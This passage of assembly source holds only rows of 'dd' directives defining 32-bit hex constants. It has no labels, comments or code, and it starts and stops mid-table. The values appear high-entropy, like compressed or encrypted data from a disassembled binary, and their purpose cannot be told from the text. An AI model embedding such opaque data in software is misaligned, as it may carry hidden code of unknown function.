		dd 0FC180BABh, 54558E34h, 96779C2Eh, 409B47A4h,	95D0D16h
		dd 80561F3Dh, 26D3A183h, 871B04h, 52D960A3h, 0C416AA03h
		dd 12729B00h, 9662C82Bh, 5B27830h, 105DCA88h, 8D4D804Bh
		dd 0AB0505ACh, 841A8902h, 267EBB80h, 9CD20024h,	0CBEF66A5h
		dd 0BC0031C6h, 0B33F041Dh, 18D5DAFh, 0F01F7336h, 0D0601C3Dh
		dd 0EE0067C6h, 0EB46E4DEh, 3B77E1B4h, 0A50128C7h, 6B25AE3Ch
		dd 69A240ABh, 5A18116Fh, 0E730F1C5h, 4F29004Ch,	0CDE3C149h
		dd 0ED00D48Ch, 69AD2C45h, 126867Bh, 0BF1C04A3h,	0F475FB10h
		dd 4D01B27Eh, 4B47EC59h, 11803FE3h, 5B5A509Ch, 14002D77h
		dd 0F3EAC209h, 45C404h,	3111B1F4h, 2EC549B3h, 0D1DCA812h
		dd 783FB040h, 3AA77008h, 3900663Ch, 4BF52CD2h, 0B92860DFh
		dd 3200B5DDh, 0B556552h, 0FD663Ah, 4418708Ch, 0A83D7ABAh
		dd 7F3CB65Ch, 8B613107h, 1F30AA41h, 620250h, 5383326Eh
		dd 0F0B7635Eh, 3E002890h, 7337E5BEh, 0D626F7h, 406C0D6Bh
		dd 90082555h, 872EDE7Bh, 0BF09716Fh, 14246099h,	0B86C0029h
		dd 910328BBh, 2413C3DAh, 0A30083C0h, 9687A3DFh,	6FA0003Dh
		dd 0B546645Ah, 6100057Ch, 7FA4F9Ch, 4C43CF5h, 351E212Bh
		dd 90CEC6B0h, 4549A30Bh, 809C2B42h, 9BC91648h, 0C84A9Ch
		dd 0B64937C8h, 0A309F0F3h, 46785734h, 0F968006Ch, 5520C3D8h
		dd 963989A3h, 0FC967A8Dh, 2BA59D09h, 87A0817Ch,	45F57958h
		dd 490BD2F0h, 637374A7h, 83E72949h, 0EB7C8900h,	8524DF79h
		dd 8FDE00BCh, 42FB1BCFh, 440078ECh, 0B0730F69h,	4D6333h
		dd 7012F819h, 29B8DDC2h, 2800314Ah, 0D2EAE67h, 6649011Eh
		dd 0B619CBE3h, 0ADA1E0F6h, 0E7AA091Fh, 88B4D0FDh, 2430ED00h
		dd 0CCC79CAFh, 0E8B7074Eh, 0E1B1762Bh, 204B160Bh, 0BB075451h
		dd 0D1FBF81Eh, 28C08907h, 17BA4E23h, 157C011h, 65A13260h
		dd 0E7B45182h, 80523015h, 80D7993Dh, 49E93647h,	7BDFB87h
		dd 0F863F2A7h, 0E00650F9h, 3D0199D3h, 884E7612h, 1BD841DAh
		dd 39C903C0h, 0AB274074h, 0FD0DCF88h, 95004C90h, 5E87ACDEh
		dd 0AA221B90h, 8E1281F8h, 0EDE8E6C0h, 0C94F0049h, 57B68191h
		dd 0FF00D610h, 0D2675650h, 305D9F0Eh, 5B104C76h, 3C06E490h
		dd 3B52F5B1h, 0EBD700C0h, 0AA5F68Dh, 230B64D8h,	80EF865Fh
		dd 0F9E08063h, 87E32EC7h, 8C690078h, 0B6D40B0h,	2A7A1503h
		dd 0C21C4F55h, 7863D7h,	0FA72C53Eh, 1348F229h, 2673C603h
		dd 0B3ADFCEEh, 0F5A798EFh, 90A0604Dh, 0B0C3B843h, 0B9006FF0h
		dd 0D89D287h, 3CD18D55h, 9A1DDF82h, 36198024h, 70757806h
		dd 805F4338h, 2C803CAEh, 7CB84Bh, 0BA196501h, 8575D83Bh
		dd 0DDAD2B00h, 0ACB65211h, 0EF450370h, 606DF169h, 97D96EF0h
		dd 1164C630h, 38765FFh,	8BBBDF71h, 1ABA1808h, 0ED0DA6C0h
		dd 5B09D400h, 33ADB4C0h, 0A7620270h, 1F39DADFh,	6E60A08Fh
		dd 93C20C8Ah, 0C1742F00h, 4F3DA54Dh, 0F7D30332h, 0C0ADD938h
		dd 0D5D09CB8h, 38C06AF6h, 0BA2E4B77h, 1A4E031h,	0C528B687h
		dd 8958DFC1h, 43DA40E0h, 410B806Ch, 0A6D7009Bh,	68C52B61h
		dd 0C3F7372h, 0FC2CFCD5h, 8A82303Dh, 2DA2281h, 0D4C8779Fh
		dd 0A9003248h, 2064DF6Ch, 4E93971Fh, 9C340010h,	4CAD8A82h
		dd 6C3FF704h, 3C8327A8h, 81100769h, 0E00E1810h,	0DA6759CBh
		dd 0FA02567Dh, 395FE126h, 78F480D1h, 7B2BE4h, 0F5EB3762h
		dd 89B54ADAh, 29A2B600h, 528D86Ah, 0D0EE4D0Dh, 0C0E83A13h
		dd 3CC2AD80h, 0EB862F00h, 8A5BD061h, 79F01D41h,	0DDE982A4h
		dd 0F8C85969h, 6C00A774h, 50540B2Dh, 3B6839D2h,	990C1DACh
		dd 12A0C0BEh, 680FF00h,	241634BAh, 0C894FDh, 0C07F0CD4h
		dd 0E800B0D0h, 0D2819AC9h, 4E805Bh, 0EF29565Fh,	8505CE42h
		dd 0C892A52Ch, 520AA281h, 0D842BEE4h, 0D55FE09Dh, 7696395Ah
		dd 3542B200h, 1C2A91F1h, 5918E0ECh, 0CBF00640h,	361E2A32h
		dd 2F8200C0h, 34A0B19Ah, 772DB439h, 240800CEh, 38F903h
		dd 6ED31DC2h, 0DC21E056h, 0FC8BC801h, 0B3A6252Fh, 7818074h
		dd 289463F0h, 0F0BC861Eh, 18B08A04h, 90313Bh, 47A4381h
		dd 5BEF4E30h, 41D48023h, 591E35AEh, 9C40724Bh, 6AC0E3BAh
		dd 0DC862552h, 0D230F880h, 7D006734h, 4BD9C4DDh, 3CBEAB7h
		dd 0BBBE4298h, 0AFD012E8h, 18002A07h, 1D821153h, 978E21C5h
		dd 1C902880h, 89C105EFh, 0F714D819h, 6D8ACE1h, 4AF339B9h
		dd 88310D0h, 15F7D1EBh,	6508C518h, 20526F8Ah, 43102D0Ch
		dd 181A735Fh, 68D4E020h, 22144A32h, 3F2717F4h, 47D3C570h
		dd 4A3A7144h, 23F01F3Eh, 2E117008h, 0AEDD8160h,	606FAFF6h
		dd 223B0A4Ah, 0E5291F4Fh, 175B6800h, 0F498D8h, 76263CE9h
		dd 8740CD03h, 0C88BD930h, 1C770C02h, 0B3E1D6h, 536C4471h
		dd 9D0998EAh, 5AB97FA2h, 17DD0F48h, 7EA8C7FDh, 9CDBE80Ah
		dd 32084C82h, 23C18053h, 0F3369Fh, 3D512568h, 0C867C5E5h
		dd 0BC84A100h, 0AE298FBBh, 712A0982h, 0A821F212h, 808CDA7Ch
		dd 9CA4F969h, 71FC68h, 0D10F6EF8h, 67BC8246h, 99C1FD00h
		dd 0E961DC13h, 81DFC3h,	5465451Bh, 16039885h, 0D180F9B3h
		dd 5732E08Bh, 92A4004Ah, 816FA5FFh, 1C00D4E1h, 0C5FE4C1Fh
		dd 0EAC48205h, 3F89C43Ah, 23CB911h, 2D72B7B0h, 0FA45627h
		dd 8B80A548h, 117BBEBCh, 446F348h, 857FF4D4h, 0C72A8A4h
		dd 0A4D8B240h, 6312C511h, 42001D48h, 4A4E8F0Bh,	0AF3C0006h
		dd 43D0D761h, 80307F1Ch, 14393191h, 589CF1A5h, 86F700AFh
		dd 5B1D8AFAh, 0FB94A900h
		dd 766145Dh, 0CE02004Ch, 648FB6D4h, 4D00BA17h, 81D8917Ah
		dd 3C0FB52Ah, 3180FF0Dh, 0A07B66F6h, 8051758h, 36393A53h
		dd 0DD2156C0h, 5030EF80h, 656B0193h, 259673F7h,	33AF70E7h
		dd 0F80B1400h, 0A1B43638h, 5B4A0168h, 5D18D41Eh, 1647ECA9h
		dd 14E97200h, 6F65CC7h,	0EC780015h, 10B049D2h, 2700D57Bh
		dd 0BF5D5933h, 39C84B82h, 138E3DC1h, 2300F3B1h,	0C901EC47h
		dd 808F713Bh, 4F6A925h,	4EB31Ch, 38C2446Ah, 83EE8D5Fh
		dd 0CDC84000h, 0B363DD0Dh, 2A3700C9h, 93D1C7B2h, 0FC002170h
		dd 0F2405CD4h, 1D3BC5Ah, 64F85F87h, 5E8FB736h, 14602804h
		dd 86D70487h, 1044BF1Eh, 0DB27F3FAh, 5036605Ah,	0CF28050Bh
		dd 8409E843h, 3B0FC01Bh, 0FD19846Dh, 0C6285B91h, 0E644E808h
		dd 533284BDh, 10DA51D6h, 9989BDC3h, 0CC641B08h,	5222EE29h
		dd 88445510h, 289C9FCh,	0EE44F608h, 8728A1B1h, 211624F2h
		dd 0AD1282E9h, 0C1D31482h, 0D5212A24h, 4238178Ah, 3E22C265h
		dd 83F12256h, 0DE210524h, 101212C3h, 61898093h,	0B9442E08h
		dd 0BFFE8466h, 96081D89h, 887AB844h, 46005073h,	0EA914987h
		dd 0B9309Dh, 1FD1FEBFh,	7531DF2Ch, 0F8F3F67Bh, 0D4003B05h
		dd 0B8D9A477h, 24AF74h,	9A97B495h, 3A418879h, 67BA0E00h
		dd 0A9290FB9h, 78F90069h, 34CE9C31h, 0E201436Dh, 0FBC01DDAh
		dd 99E828CCh, 5CB8F66Ch, 0AE0EF39Fh, 31A006F7h,	27353941h
		dd 73D1E200h, 6A59C225h, 82B40056h, 53ECB9E0h, 0C3004864h
		dd 98F99B65h, 21FFE5Ch,	453CAE0Dh, 2BC093E0h, 37167458h
		dd 0D3076BE8h, 7122274Eh, 7F58487Eh, 8CA01AFh, 4437B933h
		dd 5B10C868h, 3F79E426h, 407C9800h, 131FE1Ah, 27A0AFCEh
		dd 0E46E66A7h, 0D23E723Eh, 0CC0880A5h, 620232C2h, 0AD0900DCh
		dd 0D524B1A3h, 0A9009070h, 477840D1h, 4BEA8AFEh, 0F8AC28h
		dd 0DE942BF8h, 0FA802CBh, 7E7A829Ch, 0BA1B5C20h, 587E2A85h
		dd 534E2006h, 2AB037E9h, 7DA8FAD8h, 429600ADh, 4D2E0AFEh
		dd 39004C9Ah, 0B5B3CBBFh, 9F722h, 84B4BD29h, 0D982087Dh
		dd 0DC0AA503h, 0F842B6EEh, 0CF2048h, 9B241B1Fh,	0D4C5EE8h
		dd 664CC67Dh, 7FCA50BFh, 0E7C7CC00h, 3E7313A1h,	0E6CE0335h
		dd 0F305C006h, 670233A8h, 0F000D372h, 7CFDC99Ah, 0FF9DA6Ch
		dd 0E5223755h, 0E44DF1E0h, 890070A1h, 0ADEA0456h, 9D9C83h
		dd 0EEAE7E90h, 0F1C72901h, 0FFFBF00h, 0BCAC5DA0h, 6AC30159h
		dd 0E23682DDh, 2098DDF2h, 330962B1h, 878BA978h,	7470D238h
		dd 7F1A867h, 96977E0Ah,	0FCB0105Fh, 110FBF7Fh, 40909852h
		dd 345B25BAh, 79F71D94h, 454E001Fh, 3B04D7F4h, 1E2BD801h
		dd 749B6F9Ah, 0C0C96020h, 2F7AFA02h, 7215C22Ah,	1DA8826Ch
		dd 0D2DE417Bh, 7E000E56h, 0AD74467h, 0C27C28DAh, 347CF8h
		dd 0FC5FDC3Ch, 0ED7904FAh, 8117D700h, 0FBA9E3Eh, 0A4410095h
		dd 3671E0DAh, 7224CB5Fh, 191D4C65h, 6F082D00h, 39A63D3h
		dd 1ADB399h, 0AFEF604Bh, 49908361h, 551CE504h, 0E0E000E8h
		dd 8D142E9Bh, 0EA542200h, 0F505FD0Eh, 118100BCh, 20337A8Ch
		dd 0C27B7DE7h, 0AFFDF8A0h, 1C05A907h, 0E193D5AAh, 99E9B8B4h
		dd 0E6830042h, 86195451h, 0F200C010h, 0FBFC04B3h, 1D45280Ah
		dd 0CC8DEBAh, 9BD0E1C1h, 690156F2h, 3E0D32C3h, 1EF4883Bh
		dd 747F6DFh, 38AD772Fh,	0AB6E0F3h, 0CC00CD64h, 0F0E4D602h
		dd 0BF3BEAh, 3ED95EB8h,	0EBE5DD93h, 3CC9D700h, 8EF64B61h
		dd 879C3D0Bh, 97A4057Fh, 83A835CEh, 9E009038h, 0D28832F4h
		dd 0BBD7DFh, 0E52AC337h, 0AE4BA317h, 457D690Eh,	6EB6A058h
		dd 0F918FE7h, 10EE898Ch, 16D026E0h, 0F100D3C2h,	0FAB6757Bh
		dd 0EF5C9Bh, 18A54B98h,	31E32490h, 0DADE7A01h, 0A9619D65h
		dd 9B85E0FAh, 7436F36Dh, 0F780093Bh, 68A9DED0h,	0B6F4B08Eh
		dd 907D9D03h, 0B12F58FBh, 2CC87C12h, 0AA3600C5h, 0C26E9397h
		dd 0C900CEC1h, 356641F3h, 48260474h, 860028F2h,	24DF933Ch
		dd 0D034A22h, 4C98B519h, 0C1E400E3h, 14783FC4h,	62009E91h
		dd 3B4A1EC0h, 0D89BE6h,	2C410188h, 44A479BBh, 0D734C600h
		dd 62B2B9EBh, 3EA20017h, 20F031D1h, 0B0004A48h,	53BD0938h
		dd 732711DAh, 89E500CEh, 2C3DD078h, 7E0070ADh, 4B1F2377h
		dd 8BD6AAh, 625CBA42h, 75DC3DBDh, 0F52A8300h, 3F49A80Fh
		dd 0E599C84Dh, 9C027F00h, 7EB03Dh, 0A4667C86h, 69C130FDh
		dd 31303290h, 97B528E6h, 9BB00E51h, 0B8E0349Eh,	6C454FE3h
		dd 6DEC3F00h, 3B5F13A6h, 9C3C48DDh, 0AAE913h, 44E60F1Eh
		dd 4D0033C9h, 76C7E724h, 1740704h, 6ADDEE09h, 0C034B22Dh
		dd 99608C7Bh, 42527736h, 544D1CBBh, 2567479Eh, 855601Ah
		dd 827DA144h, 8CEC7E00h, 6B3E8331h, 24B6008Ah, 57889E66h
		dd 3D04FA0Ch, 931CA9CCh, 69FE98C1h, 0F8A7C6D0h,	2F31DAAh
		dd 3E40406Eh, 9772172Bh, 0BB008490h, 0F250F489h, 269F0h
		dd 0ED8F6E6Fh, 450B9763h, 3C24400h, 0F4DB4EFBh,	98D60337h
		dd 6139C6CAh, 0FD52AE80h, 0D0341503h, 0C02B748Ch, 949DCh
		dd 0C4143FBBh, 76D51357h, 4C475100h, 0A11B9368h, 0BE3097Bh
		dd 5A802C31h, 8E112FEBh, 7A13A898h, 9C007E58h, 3895E559h
		dd 0F6B700BEh, 0D7246719h, 2E1F7DF9h, 3D820629h, 802FDC43h
		dd 0A64CC7FCh, 6C9D00ECh, 8081229Ch, 16133279h,	0A8076B82h
		dd 101BA121h, 1F85C660h, 5FAEC05Fh, 0D67E809Dh,	0F340032Dh
		dd 2AA0EE50h, 1A3E5600h, 8D0D350Ch, 0DCEA00ACh,	3A2B698Fh
		dd 9B02238Ah, 0C5C808FCh, 96A180EBh, 0ADCBA1h, 0D0DDBC3Fh
		dd 9D82A0F6h, 9EDA4539h, 0F800034Fh, 2280C67Fh,	4D5F0075h
		dd 44A59E94h, 45003AB3h, 1C1D06D2h, 92E29Bh, 7FBA24A0h
		dd 0FA6910B5h, 344FB100h, 11C28F6Ah, 0E74E0148h, 0B680F93Dh
		dd 4A2C3053h, 0A65E651Fh, 0D9161700h, 0B52FC4h,	0AA3AC932h
		dd 37B13D42h, 8B085E00h, 0C2E60D9Ah, 67453F12h,	0B580B080h
		dd 0B4FD291Fh, 0F3A65003h, 80F7FC87h, 0D41AF4h,	34E04862h
		dd 8563ABC2h, 7708C600h, 0DA5FD87Eh, 2919609Ch,	0FA7FAF0Dh
		dd 0F13E4500h, 112537Ch, 6321007Bh, 0C07AEA37h,	0F8A18F4Ah
		dd 0EA002872h, 36B6821h, 0C4459958h, 14583C80h,	0EB6A0083h
		dd 9298ACFAh, 43002890h, 25E49D02h, 0FB3A2Ah, 8AB21FB7h
		dd 0D551A33Eh, 26FE2407h, 3AB08871h, 3432B4h, 0CFB3F392h
		dd 87246118h, 35BB2E1Dh, 228A3C0h, 13B5E2C1h, 0A7829Eh
		dd 75070A11h, 850F0D59h, 40C8797Ch, 0B2143DA1h,	0AF990022h
		dd 934DD99Dh, 0C45883D2h, 0AB89079Dh, 0D780CA9Fh, 2A0E46h
		dd 1201E46Bh, 4D32A67Eh, 5D07F803h, 32F7950h, 23C9A7F8h
		dd 90A7F4D1h, 0E451AA2h, 5A8CA300h, 68360A2Eh, 0FF1800E4h
		dd 0BD7BD295h, 0B78E54Ah, 76000CEEh, 614C7CD5h,	1D1571F9h
		dd 801E6536h, 9A7263A6h, 3B7F8097h, 80B4B22Ch, 0D4001017h
		dd 530BB37Bh, 3D54075Eh, 0F0AB3CB8h, 2FCA1C98h,	0CCFEEA00h
		dd 0EF352ED9h, 0F107166h, 976F060Ch, 954FA7E0h,	720B5243h
		dd 2F39FCFAh, 0CA19E080h, 133062ACh, 8B501Ch, 3D450374h
		dd 0EE1C08CFh, 8680272Ch, 4456DC94h, 0C25202D1h, 0CEFB932Fh
		dd 63B5CC0h, 0BA081400h, 3224648Dh, 55AF3CA6h, 5786E500h
		dd 0A21C3D04h, 0D91639E0h, 9400B78Dh, 53DB9238h, 0A91A1EF5h
		dd 278AC717h, 20482018h, 0F40040ECh, 28C1D634h,	0E2B06B89h
		dd 2F0C0136h, 9EC3D1C5h
		dd 9D56CCCFh, 6F1FBB7Bh, 7B006A15h, 0BDFB21FEh,	2D7900EFh
		dd 0DC3F0299h, 0D5002AEBh, 0AB0B595h, 4F631h, 5AD3270Dh
		dd 19C1A53Dh, 1F775C1Dh, 8740F300h, 76A639Dh, 7491D7C3h
		dd 0C0AE5735h, 644F636h, 1FCCED00h, 9F97417Ch, 0E96800ADh
		dd 6183055Ch, 45F620C5h, 0D6631500h, 13C33E43h,	0C8D24998h
		dd 8C183A09h, 2310C000h, 4107F8D6h, 27D836C4h, 3DB817F0h
		dd 0C669046Eh, 0D0037AD5h, 858021B8h, 80ACE62Ch, 0C041E380h
		dd 24D671B6h, 0EC86942h, 0FA28E161h, 320DF00h, 8933F9h
		dd 0AE067748h, 45BE3DA5h, 2FD1B31Ch, 0D7B6AB40h, 1F734F3Fh
		dd 40F9E9D4h, 0D2E118E0h, 0C8001CC9h, 1240FE8Dh, 7C5A606h
		dd 3A1B4D6Ch, 91C030B2h, 0D042863h, 0D1BE2D82h,	0C6E72880h
		dd 2EFE65Bh, 24ED04EEh,	0B0C03C89h, 270C8E34h, 10427D98h
		dd 6FF01EBBh, 83DBC0E6h, 0AAFD0595h, 0C9490760h, 981E7BFh
		dd 8540C14h, 7D4628A3h,	0A0CA93B8h, 8D7E390Fh, 17048029h
		dd 1AEE81h, 4F9EC7FEh, 6354F58Ah, 85FF4A01h, 92AD9F8h
		dd 7C00FE0h, 28060BB2h,	440759BEh, 4C002B07h, 37793220h
		dd 58033F4Ah, 0F94B4329h, 289EB16Ah, 0C654053h,	0F0CEB60Eh
		dd 0EE68440Eh, 3B011340h, 18A9FEADh, 3990EAE0h,	0B18E96B5h
		dd 1120BA50h, 3A5DDBF0h, 0FF99D8F7h, 0CCF87B55h, 0C3070A4Fh
		dd 987737E9h, 0B24A9310h, 0E78114E1h, 651D9412h, 0CB4700C5h
		dd 0C6B06690h, 59DC9D00h, 60B6393Fh, 53EC3042h,	13EDEB62h
		dd 0CFF4C900h, 99B25024h, 0BC2A003Eh, 977F63Ah,	9A505AA9h
		dd 6D3DC2B0h, 877E8AFEh, 4C00DF42h, 0CD1B0C1Dh,	45F83Eh
		dd 0A5E20FBAh, 53305B33h, 69AA90Dh, 0FDF81842h,	217AD3h
		dd 675B182Eh, 0AAF8E932h, 0C4C8D104h, 4880B57Ah, 1650D50h
		dd 312E2522h, 68978E5Fh, 67ED0424h, 94C00B48h, 93C09C7h
		dd 89DBB3CEh, 2E63408Eh, 0D0F5319Ah, 0F35162BCh, 0A5104900h
		dd 764A5DCFh, 0E035001Bh, 0EB7A42B6h, 0B3EA1A22h, 519070Fh
		dd 68344CA3h, 267B188Fh, 894049A1h, 7A8110Fh, 53F382B1h
		dd 7924C034h, 0B5AC019Eh, 11F45865h, 9F8980C5h,	0D12AC908h
		dd 3B1D00A5h, 90C01630h, 71005AF8h, 6E96CD91h, 0C35712h
		dd 6A41FE2Eh, 0E9F8F0C7h, 3400A071h, 0DD6967DEh, 4E49026h
		dd 68845962h, 4BCDC087h, 0BE0717FFh, 33BBD90Fh,	46D83D40h
		dd 18550026h, 8C3301Fh,	43EACB2Eh, 5054FD03h, 0A0E11DE4h
		dd 76A48F37h, 0AB820765h, 908515E2h, 5A095ECEh,	0B8463500h
		dd 0C3BAA757h, 0E1140E5Ch, 11A098ECh, 0A0555909h, 0E4E74D04h
		dd 2EC0FBAEh, 32F27ACh,	0C15E07D0h, 7791AAA1h, 9C3822h
		dd 0CFFB6C9Bh, 4D966Ah,	159BDEFh, 0B53207B1h, 0D05E5F00h
		dd 0F7C20D78h, 39560021h, 834ED1DAh, 9600E236h,	0BFC0A4B4h
		dd 7AF23Bh, 2B3F40C3h, 0A269EC3Eh, 2E9AD700h, 29CACBFDh
		dd 11CF008Fh, 0E6A3C91Eh, 72003891h, 3D6C40F7h,	0FC7AC560h
		dd 0D5A800BCh, 85F2E3CAh, 0D700F1EFh, 694740CDh, 9E2342Dh
		dd 2A10416Bh, 584AA600h, 406DBBDh, 1F94284Ch, 0BFE90040h
		dd 0A6AC0E44h, 0B8009338h, 57AF760Bh, 0A4B9Dh, 7DBBC5BCh
		dd 0C929D763h, 1AA5C00h, 0B26267FCh, 0EC5F7809h, 4AFB2812h
		dd 4CA801E8h, 80BC635Bh, 2324D497h, 57A6B400h, 0E14BD9D7h
		dd 0C5D200A2h, 0F98F95C1h, 5173EC9Fh, 0AA0B3C91h, 60C68E8Bh
		dd 0DC6D73E3h, 0E1DB002Ah, 8404023Dh, 70E58E6h,	40FBCC08h
		dd 0CF6A4FEFh, 90BD0034h, 0DC2D6705h, 0D1075F9Fh, 26A402B7h
		dd 8CCDA210h, 61A11738h, 0F37400BDh, 2EC06857h,	3A00AB7Ch
		dd 865CAADFh, 66BD97h, 45A152AFh, 14608006h, 81F47100h
		dd 745ACCA2h, 908F98B3h, 8CE80028h, 9C5B019Dh, 0C00094D2h
		dd 14AA2531h, 285521h, 0D1B9DC8Bh, 1B194B7Ah, 702F9D0Eh
		dd 93823DD8h, 6084C276h, 7453B23h, 7EC463E7h, 6FF130A4h
		dd 32E0EA16h, 9710AB03h, 80E5719Bh, 781965B7h, 0ED0900D4h
		dd 4D9CC322h, 9900CC54h, 0B523DABFh, 7364332h, 99831DDh
		dd 105700C0h, 0D5001D9Dh, 4187A65Bh, 7746ABDh, 69999684h
		dd 48A0F923h, 0DE866038h, 0D92E137Bh, 1684844Dh, 8BC0A7BEh
		dd 0EA0EDA6h, 0CE7A58D5h, 69284353h, 0B2D8B50Fh, 1E0029CBh
		dd 13A1BF71h, 9B9982Ch,	0AD486F41h, 0C7DDBC07h,	9002B00Dh
		dd 7E05FC5Bh, 4401F9A5h, 0C01708A0h, 8DB01C81h,	7D00DBE7h
		dd 0E91AEA28h, 7F799h, 9F9BB56Eh, 0B73A547Bh, 0E65B4200h
		dd 0C5E54ABCh, 4855870h, 5E246B39h, 0F255007Bh,	0A3257AFBh
		dd 0AE074D00h, 0CF77331Dh, 0FFF900FAh, 0AF53E87Fh, 0F4B214CDh
		dd 0AEB86C00h, 68BCE936h, 64F80061h, 580D9A2Fh,	0DA12C503h
		dd 8E09CBDFh, 0F8348A74h, 6123F900h, 943BB95h, 0DBBF3B19h
		dd 0B3892C00h, 44B81DEEh, 41943000h, 60F71FDEh,	7021EA0Fh
		dd 0E0CE034Eh, 822F751Dh, 3F9EAB80h, 31166D00h,	423305AEh
		dd 61E70FC2h, 0D4F4367Fh, 9E24F41Ch, 0D7DC00F8h, 2BEF0BE3h
		dd 992EC71Dh, 424FA780h, 149816Eh, 62F2E1A4h, 70CDC3F3h
		dd 0C002230h, 0D60432A2h, 0BF5FFC6h, 38A797Fh, 94D38800h
		dd 0B0008457h, 6059C2A6h, 73EFFE6h, 0F3B73720h,	0EE0F13B3h
		dd 33D018F0h, 0FB2F0301h, 8CFFA3B4h, 1E01C21h, 0D350095h
		dd 0D57853A6h, 9400993Ah, 253D5745h, 74320AC1h,	14E60A82h
		dd 3FC33B5h, 47C5D301h,	61ACCDA8h, 8DF54B00h, 6D9E9FBCh
		dd 0B0BE135Ch, 0C4730057h, 0D3D81F1Bh, 0C378F500h, 183DDF35h
		dd 3FB40313h, 0E4CE7704h, 704EFBF1h, 0EA11F91Ch, 590046ECh
		dd 96DD0F5Dh, 5100F6CAh, 0F82DB881h, 0A1C7A6h, 0D615126Dh
		dd 2E461BECh, 0B9044900h, 0C84ADCB1h, 7898FFh, 8A727A6Fh
		dd 55CC6322h, 0BE389F00h, 835A3491h, 0E2E496h, 66CF8112h
		dd 0CDB2894Eh, 0B10B4B98h, 80E18697h, 0D74BD1F9h, 7D83E91h
		dd 1692DD80h, 76A156FBh, 0EF0D948h, 40E99DF3h, 3593DB23h
		dd 27700F7h, 7333343Ch,	0C3005AC2h, 98C1B01h, 2AF1F41h
		dd 879DD343h, 8E09180h,	6A0068B0h, 9920DFEEh, 834F61h
		dd 0C190B293h, 54FACB22h, 0AB961F00h, 7578E8E3h, 836F0F88h
		dd 0B9004FCCh, 0A1D11C42h, 0DB5AE400h, 1F3EBF78h, 0DCC302FDh
		dd 0EF15DE52h, 0D7E3F460h, 0D514E701h, 0D41AF6ACh, 4E06CD9h
		dd 9533030Dh, 0F3171D01h, 99E050DBh, 51D46A9h, 825EEE18h
		dd 0AE356480h, 27FA0Ch,	8092E898h, 0C4C77B30h, 7F98AB4Ch
		dd 89DA4A00h, 23049044h, 0A98A0792h, 0C00C0155h, 0DC18E90Ah
		dd 300B7F4h, 4CDE5335h,	52514Dh, 1E8CE7E0h, 392E8FD7h
		dd 6C94B600h, 0C0253F6Dh, 0B24B009Eh, 4487B786h, 0EA5045C7h
		dd 0F900F5A9h, 4D8F5706h, 0FD09E3h, 6AA78E9Ah, 8CD04CBh
		dd 7CD63400h, 0E36574ADh, 303507D4h, 1046AEB5h,	0A99F979Eh
		dd 79767D00h, 0D2565D89h, 603A1FB1h, 40D95D42h,	1FF9FFF8h
		dd 3E01E919h, 3940B8FAh, 32CCD5DEh, 88C0070h, 0DC4E448Fh
		dd 6E075D09h, 0AD46B060h, 76BCDDA0h, 0B16A067Ch, 0D9F5B9C5h
		dd 0CA8C9000h, 87AA73B7h, 849A004Fh, 0FF9EB0DBh, 7C00E14Ch
		dd 0A998A826h, 108728h,	0C9206118h, 0B9752F3Eh,	1C814000h
		dd 0E72B0B8Ah, 0B6D20015h, 78C056DDh, 99008D29h, 0EA1BEF54h
		dd 16EB913Ch, 9DD007h, 0E33A2B06h, 7403C3C1h, 9B415486h
		dd 456CC834h, 0F0EC77h,	0C7B42DCCh, 0D9FD382Fh,	1151ED00h
		dd 8276B0A8h, 4EEE93h
		dd 0B76133C5h, 80327A4Ah, 0B94A7E7Fh, 630075F8h, 0EF81E064h
		dd 61282A95h, 0B80090A5h, 0B3C25941h, 28540674h, 2C89331h
		dd 381E756Ch, 3093178Ah, 0C8C24AA8h, 0D5D6FB00h, 5512A8B1h
		dd 4B0B0063h, 9038B277h, 3D004F22h, 28F0F729h, 2372E3Fh
		dd 6E64F62Ah, 3229025h,	0C307161Dh, 0E4C9040Dh,	86E1DD80h
		dd 5F1400CBh, 0B28A7083h, 350FC892h, 74C9F6B8h,	3D3FE8h
		dd 1375F004h, 35D0357h,	37BFE5E1h, 50AB74C5h, 0BB385807h
		dd 0A3608701h, 8212ACh,	6CD915B2h, 0A57B6584h, 0F8D2E800h
		dd 0A2476929h, 2CF009B4h, 9400972Fh, 5FFC123Fh,	595A2B00h
		dd 0E780D961h, 19813h, 124CF2B9h, 0EDE39153h, 0E2F05500h
		dd 0A5D6DA63h, 1354056Ah, 209D59ADh, 6E0532E4h,	46FB9600h
		dd 0A4A086B0h, 0E388C040h, 0ADBC37EBh, 597E7300h, 0C7DF21AEh
		dd 6312006Eh, 0A2F9AF0Ch, 80E56B9Ch, 746DBF28h,	1F3EDFACh
		dd 0C096C844h, 4CE0178Fh, 5D7A168Ch, 0BC651128h, 1FDDBE00h
		dd 0B27604A9h, 6A9900C0h, 0B002AD5Fh, 0C1F6BC8h, 1F00EC3Bh
		dd 99C58B95h, 48A400EBh, 497E7FBDh, 0D69070A2h,	74531A26h
		dd 0BA826E04h, 18196492h, 0A8E86B30h, 82F3F23Dh, 35728C11h
		dd 0B7C401Eh, 58070036h, 9204E5B9h, 0BE79337Ch,	0BF878650h
		dd 0E652FA00h, 76A617E0h, 5F4A1239h, 47844132h,	43EFFA35h
		dd 51D05DF4h, 1CF83CADh, 63088902h, 4854522Dh, 72EF0704h
		dd 1F5005Ch, 0DD384005h, 36056624h, 0AE92ECAAh,	0E68BA400h
		dd 3D80B0h, 4947F74Dh, 0BEB839C8h, 7C537600h, 45ED9C8Ch
		dd 0E75C2C5Bh, 0EB3F0068h, 92B06C55h, 0ABFE7D03h, 9333E8h
		dd 0C8B584A0h, 0F530CDC1h, 5F06A9D3h, 7135A7h, 9527EEC6h
		dd 0C0A6B2ABh, 0A8F04672h, 0FCFFBB01h, 0D8A2A722h, 3B061D0h
		dd 65CF437h, 32A34E20h,	0E85860D0h, 9C1BBC3Eh, 11804DB2h
		dd 502EABF1h, 76E63DFDh, 7F1F8D0Eh, 60EFAA20h, 0E800E4EBh
		dd 0D6DD793Ah, 10C6738h, 0A110579Eh, 0F04BCFE3h, 7500C348h
		dd 0A69C9378h, 80777Eh,	0CD88CE52h, 8107BCE7h, 5A3B9E12h
		dd 45265000h, 37BE8Bh, 0E5AA384Eh, 0FFF6536Bh, 0D4F48103h
		dd 0F81EA7DFh, 0EE1F9EAh, 7CABCC4Ah, 9D8CACA1h,	3B6BCC9Eh
		dd 4F0268EEh, 60FA3F8Dh, 0B5FC83DCh, 0FBC9886Fh, 0BDCD01CAh
		dd 0AFB75FCCh, 0B1B3F061h, 2790EE07h, 6D308649h, 96BE24h
		dd 0A5AD45FAh, 0BAFD832Eh, 46B35107h, 0A611B1DFh, 98D859B0h
